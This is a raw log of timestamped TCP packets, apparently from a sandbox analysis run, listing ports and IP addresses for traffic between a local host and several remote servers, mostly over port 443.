Nov 5, 2024 22:44:40.809314966 CET	49993	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:40.809326887 CET	443	49993	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:40.809715033 CET	49993	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:40.809727907 CET	443	49993	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:40.844145060 CET	443	49957	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:40.844208002 CET	49957	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:40.914805889 CET	443	49991	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:40.915031910 CET	443	49991	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:40.915066957 CET	49991	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:40.915076017 CET	443	49991	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:40.915098906 CET	443	49991	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:40.915152073 CET	49991	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:40.915183067 CET	49991	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:40.915198088 CET	443	49991	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:40.915205956 CET	49991	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:40.915211916 CET	443	49991	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:40.918512106 CET	49998	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:40.918548107 CET	443	49998	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:40.918623924 CET	49998	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:40.918778896 CET	49998	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:40.918793917 CET	443	49998	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:40.928989887 CET	443	49992	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:40.929177999 CET	443	49992	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:40.929466009 CET	49992	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:40.929498911 CET	49992	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:40.929498911 CET	49992	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:40.929512978 CET	443	49992	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:40.929521084 CET	443	49992	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:40.931663990 CET	49999	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:40.931694031 CET	443	49999	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:40.931756973 CET	49999	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:40.931859970 CET	49999	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:40.931871891 CET	443	49999	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:40.939157963 CET	443	49993	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:40.939297915 CET	443	49993	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:40.939333916 CET	49993	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:40.939342976 CET	443	49993	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:40.939424992 CET	443	49993	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:40.939466953 CET	49993	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:40.939542055 CET	49993	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:40.939549923 CET	443	49993	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:40.939567089 CET	49993	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:40.939570904 CET	443	49993	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:40.941679001 CET	50000	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:40.941692114 CET	443	50000	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:40.941744089 CET	50000	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:40.941857100 CET	50000	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:40.941863060 CET	443	50000	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:40.964278936 CET	443	49957	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:40.964323997 CET	443	49957	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:40.964379072 CET	49957	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:40.973845005 CET	443	49994	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:40.974442959 CET	49994	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:40.974456072 CET	443	49994	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:40.974905014 CET	49994	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:40.974910021 CET	443	49994	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:41.111120939 CET	443	49994	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:41.111344099 CET	443	49994	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:41.111412048 CET	49994	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:41.111507893 CET	49994	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:41.111527920 CET	443	49994	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:41.111538887 CET	49994	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:41.111545086 CET	443	49994	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:41.114833117 CET	50001	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:41.114856005 CET	443	50001	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:41.114921093 CET	50001	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:41.115154982 CET	50001	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:41.115166903 CET	443	50001	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:41.162539005 CET	443	49995	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:41.163227081 CET	49995	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:41.163249016 CET	443	49995	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:41.163677931 CET	49995	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:41.163682938 CET	443	49995	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:41.292479038 CET	443	49995	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:41.292685986 CET	443	49995	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:41.292726994 CET	443	49995	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:41.292778969 CET	49995	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:41.292840958 CET	49995	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:41.292850018 CET	443	49995	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:41.292859077 CET	49995	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:41.292862892 CET	443	49995	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:41.295945883 CET	50002	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:41.295958042 CET	443	50002	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:41.296025038 CET	50002	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:41.296179056 CET	50002	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:41.296188116 CET	443	50002	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:41.323537111 CET	443	49996	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:41.323613882 CET	49996	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:41.324181080 CET	443	49996	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:41.324229002 CET	49996	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:41.325680017 CET	443	49958	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:41.325762987 CET	49958	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:41.336333990 CET	443	49997	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:41.336404085 CET	49997	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:41.648233891 CET	443	49999	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:41.648659945 CET	49999	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:41.648677111 CET	443	49999	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:41.649084091 CET	49999	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:41.649089098 CET	443	49999	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:41.651828051 CET	443	49998	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:41.652085066 CET	49998	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:41.652097940 CET	443	49998	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:41.652389050 CET	49998	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:41.652393103 CET	443	49998	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:41.675268888 CET	443	50000	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:41.675656080 CET	50000	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:41.675667048 CET	443	50000	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:41.676013947 CET	50000	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:41.676019907 CET	443	50000	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:41.777694941 CET	443	49999	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:41.777740955 CET	443	49999	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:41.777808905 CET	49999	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:41.783211946 CET	443	49998	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:41.783272982 CET	443	49998	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:41.783365965 CET	49998	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:41.785538912 CET	49999	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:41.785551071 CET	443	49999	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:41.785559893 CET	49999	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:41.785564899 CET	443	49999	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:41.787846088 CET	49998	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:41.787864923 CET	443	49998	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:41.787902117 CET	49998	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:41.787908077 CET	443	49998	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:41.790591002 CET	50003	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:41.790607929 CET	50004	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:41.790621996 CET	443	50004	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:41.790630102 CET	443	50003	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:41.790699959 CET	50004	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:41.790846109 CET	50004	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:41.790847063 CET	50003	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:41.790857077 CET	443	50004	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:41.790924072 CET	50003	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:41.790940046 CET	443	50003	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:41.803807020 CET	443	50000	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:41.806525946 CET	443	50000	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:41.806583881 CET	50000	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:41.806637049 CET	50000	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:41.806646109 CET	443	50000	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:41.806658983 CET	50000	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:41.806663036 CET	443	50000	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:41.808903933 CET	50005	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:41.808928967 CET	443	50005	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:41.809052944 CET	50005	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:41.809185982 CET	50005	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:41.809201956 CET	443	50005	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:41.861567020 CET	443	50001	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:41.864902020 CET	50001	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:41.864950895 CET	443	50001	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:41.865358114 CET	50001	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:41.865370035 CET	443	50001	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:41.997832060 CET	443	50001	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:41.997982025 CET	443	50001	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:41.998024940 CET	443	50001	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:41.998102903 CET	50001	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:41.998183966 CET	50001	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:41.998202085 CET	443	50001	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:41.998213053 CET	50001	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:41.998218060 CET	443	50001	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:42.001131058 CET	50006	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:42.001166105 CET	443	50006	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:42.001358032 CET	50006	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:42.001511097 CET	50006	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:42.001524925 CET	443	50006	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:42.044512033 CET	443	50002	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:42.044903040 CET	50002	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:42.044919968 CET	443	50002	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:42.045331001 CET	50002	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:42.045336008 CET	443	50002	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:42.227869987 CET	443	50002	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:42.228017092 CET	443	50002	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:42.228080034 CET	50002	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:42.228250027 CET	50002	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:42.228259087 CET	443	50002	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:42.228270054 CET	50002	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:42.228274107 CET	443	50002	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:42.233709097 CET	50007	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:42.233751059 CET	443	50007	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:42.233860016 CET	50007	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:42.234226942 CET	50007	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:42.234241962 CET	443	50007	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:42.515224934 CET	443	50004	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:42.515866041 CET	50004	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:42.515886068 CET	443	50004	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:42.516505003 CET	50004	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:42.516511917 CET	443	50004	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:42.531462908 CET	443	50005	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:42.531923056 CET	50005	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:42.531936884 CET	443	50005	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:42.532305956 CET	50005	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:42.532310963 CET	443	50005	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:42.545241117 CET	443	50003	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:42.545622110 CET	50003	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:42.545649052 CET	443	50003	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:42.546019077 CET	50003	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:42.546024084 CET	443	50003	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:42.652663946 CET	443	50004	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:42.652693987 CET	443	50004	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:42.652746916 CET	443	50004	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:42.652750969 CET	50004	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:42.652801037 CET	50004	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:42.653036118 CET	50004	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:42.653048038 CET	443	50004	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:42.653095007 CET	50004	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:42.653100014 CET	443	50004	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:42.655987024 CET	50008	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:42.656017065 CET	443	50008	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:42.656203985 CET	50008	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:42.656395912 CET	50008	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:42.656409025 CET	443	50008	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:42.660159111 CET	443	50005	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:42.660235882 CET	443	50005	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:42.660330057 CET	50005	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:42.660401106 CET	50005	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:42.660401106 CET	50005	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:42.660422087 CET	443	50005	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:42.660443068 CET	443	50005	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:42.663275957 CET	50009	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:42.663321972 CET	443	50009	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:42.663399935 CET	50009	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:42.663542986 CET	50009	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:42.663557053 CET	443	50009	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:42.681586027 CET	443	50003	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:42.681631088 CET	443	50003	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:42.681752920 CET	50003	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:42.681827068 CET	50003	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:42.681844950 CET	443	50003	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:42.681855917 CET	50003	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:42.681860924 CET	443	50003	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:42.684160948 CET	50010	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:42.684170961 CET	443	50010	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:42.684241056 CET	50010	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:42.684376001 CET	50010	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:42.684385061 CET	443	50010	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:42.736502886 CET	443	50006	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:42.736893892 CET	50006	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:42.736905098 CET	443	50006	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:42.737334967 CET	50006	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:42.737340927 CET	443	50006	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:42.873451948 CET	443	50006	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:42.873652935 CET	443	50006	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:42.873729944 CET	50006	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:42.879443884 CET	50006	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:42.879456043 CET	443	50006	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:42.879468918 CET	50006	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:42.879473925 CET	443	50006	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:42.882843971 CET	50011	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:42.882898092 CET	443	50011	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:42.882971048 CET	50011	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:42.883114100 CET	50011	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:42.883126974 CET	443	50011	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:42.976319075 CET	443	50007	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:42.976800919 CET	50007	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:42.976814032 CET	443	50007	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:42.977294922 CET	50007	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:42.977300882 CET	443	50007	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:43.108119011 CET	443	50007	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:43.108267069 CET	443	50007	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:43.108309984 CET	443	50007	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:43.108371973 CET	50007	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:43.108478069 CET	50007	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:43.108478069 CET	50007	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:43.108496904 CET	443	50007	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:43.108508110 CET	443	50007	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:43.111705065 CET	50012	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:43.111738920 CET	443	50012	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:43.111797094 CET	50012	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:43.112198114 CET	50012	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:43.112210035 CET	443	50012	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:43.406687975 CET	443	50008	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:43.407419920 CET	50008	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:43.407435894 CET	443	50008	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:43.407906055 CET	50008	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:43.407912016 CET	443	50008	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:43.424076080 CET	443	50010	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:43.424560070 CET	50010	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:43.424567938 CET	443	50010	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:43.424988985 CET	50010	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:43.424992085 CET	443	50010	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:43.430107117 CET	443	50009	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:43.430650949 CET	50009	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:43.430675983 CET	443	50009	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:43.431128025 CET	50009	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:43.431134939 CET	443	50009	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:43.460334063 CET	49713	80	192.168.2.5	69.42.215.252
Nov 5, 2024 22:44:43.469687939 CET	49957	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:43.470803976 CET	49958	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:43.470804930 CET	49996	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:43.470918894 CET	49997	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:43.537461996 CET	443	50008	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:43.537652969 CET	443	50008	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:43.537730932 CET	50008	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:43.537774086 CET	50008	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:43.537786961 CET	443	50008	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:43.537797928 CET	50008	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:43.537803888 CET	443	50008	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:43.540646076 CET	50013	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:43.540674925 CET	443	50013	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:43.540756941 CET	50013	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:43.540911913 CET	50013	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:43.540924072 CET	443	50013	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:43.560143948 CET	443	50010	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:43.560395956 CET	443	50010	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:43.560559988 CET	50010	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:43.560704947 CET	50010	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:43.560704947 CET	50010	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:43.560710907 CET	443	50010	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:43.560718060 CET	443	50010	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:43.562748909 CET	50014	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:43.562768936 CET	443	50014	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:43.562936068 CET	50014	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:43.563060999 CET	50014	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:43.563075066 CET	443	50014	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:43.565713882 CET	443	50009	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:43.565872908 CET	443	50009	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:43.565918922 CET	443	50009	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:43.566128969 CET	50009	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:43.566189051 CET	50009	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:43.566203117 CET	443	50009	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:43.566212893 CET	50009	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:43.566222906 CET	443	50009	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:43.568239927 CET	50015	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:43.568253040 CET	443	50015	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:43.568308115 CET	50015	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:43.568409920 CET	50015	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:43.568420887 CET	443	50015	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:43.637965918 CET	443	50011	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:43.640840054 CET	50011	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:43.640849113 CET	443	50011	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:43.641268015 CET	50011	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:43.641272068 CET	443	50011	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:43.767065048 CET	443	50011	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:43.767273903 CET	443	50011	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:43.767322063 CET	50011	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:43.767353058 CET	50011	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:43.767360926 CET	443	50011	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:43.767369032 CET	50011	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:43.767373085 CET	443	50011	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:43.769337893 CET	50016	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:43.769357920 CET	443	50016	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:43.769532919 CET	50016	443	192.168.2.5	13.107.246.45
